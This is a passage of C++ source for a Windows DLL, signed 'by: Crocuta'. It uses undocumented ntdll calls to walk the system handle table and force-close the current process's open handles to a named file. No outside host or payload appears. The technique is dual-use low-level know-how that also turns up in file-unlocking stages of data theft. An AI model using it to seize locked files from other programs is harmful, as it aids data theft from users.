ULONG SystemInformationLength,
PULONG ReturnLength
);
using fNtDuplicateObject = NTSTATUS(WINAPI*)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);
using fNtQueryObject = NTSTATUS(WINAPI*)(
HANDLE ObjectHandle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
typedef enum _POOL_TYPE
{
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING Name;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
POOL_TYPE PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT ProcessID;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
BOOL GetFileNameFromHandle(HANDLE hFile, WCHAR* fName)
{
BOOL bSuccess = FALSE;
TCHAR pszFilename[MAX_PATH + 1];
HANDLE hFileMap;
hFileMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (hFileMap)
{
void* pMem = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 1);
if (pMem)
{
if (GetMappedFileName(GetCurrentProcess(), pMem, pszFilename, MAX_PATH))
{
TCHAR szTemp[BUFSIZE];
szTemp[0] = '\0';
if (GetLogicalDriveStrings(BUFSIZE - 1, szTemp))
{
TCHAR szName[MAX_PATH];
TCHAR szDrive[3] = TEXT(" :");
BOOL bFound = FALSE;
TCHAR* p = szTemp;
do
{
*szDrive = *p;
if (QueryDosDevice(szDrive, szName, MAX_PATH))
{
size_t uNameLen = _tcslen(szName);
if (uNameLen < MAX_PATH)
{
bFound = _tcsnicmp(pszFilename, szName, uNameLen) == 0
&& *(pszFilename + uNameLen) == _T('\\');
if (bFound)
{
TCHAR szTempFile[MAX_PATH];
StringCchPrintf(szTempFile, MAX_PATH, TEXT("%s%s"), szDrive, pszFilename + uNameLen);
StringCchCopyN(pszFilename, MAX_PATH + 1, szTempFile, _tcslen(szTempFile));
}
}
}
while (*p++);
} while (!bFound && *p);
}
}
bSuccess = TRUE;
UnmapViewOfFile(pMem);
}
CloseHandle(hFileMap);
}
else {
CloseHandle(hFileMap);
return bSuccess;
}
wcscpy_s(fName, MAX_PATH, pszFilename);
return bSuccess;
}
extern "C" __declspec(dllexport) int CloseHandles(WCHAR * fileName) {
fNtDuplicateObject NtDuplicateObject = (fNtDuplicateObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDuplicateObject");
fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
fNtQueryObject NtQueryObject = (fNtQueryObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryObject");
ULONG returnLenght = 0;
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
int PID = _getpid();
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
if (handleInfo.ProcessID == PID)
{
HANDLE processHandle = NULL;
HANDLE dupHandle = NULL;
if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessID))) {
continue;
}
if (!NT_SUCCESS(NtDuplicateObject(processHandle, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, DUPLICATE_SAME_ACCESS))) {
CloseHandle(processHandle);
CloseHandle(dupHandle);
continue;
}
POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(ObjectTypeInformationSize);
if (!NT_SUCCESS(NtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, ObjectTypeInformationSize, NULL)))
{
free(objectTypeInfo); CloseHandle(processHandle); CloseHandle(dupHandle);
continue;
}
if (wcscmp(objectTypeInfo->Name.Buffer, L"File"))
{
free(objectTypeInfo); CloseHandle(processHandle); CloseHandle(dupHandle);
continue;
}
WCHAR* wHandleFileName = new WCHAR[MAX_PATH]();
if (!GetFileNameFromHandle(dupHandle, wHandleFileName))
{
free(objectTypeInfo); free(wHandleFileName); CloseHandle(processHandle); CloseHandle(dupHandle);
continue;
}
if (fileName == std::wstring(wHandleFileName)) {
CloseHandle(dupHandle);
dupHandle = NULL;
NtDuplicateObject(processHandle, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, DUPLICATE_CLOSE_SOURCE);
free(objectTypeInfo); free(wHandleFileName); CloseHandle(dupHandle); CloseHandle(processHandle);
break;
}
free(objectTypeInfo); free(wHandleFileName); CloseHandle(dupHandle); CloseHandle(processHandle);
}
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
by: Crocuta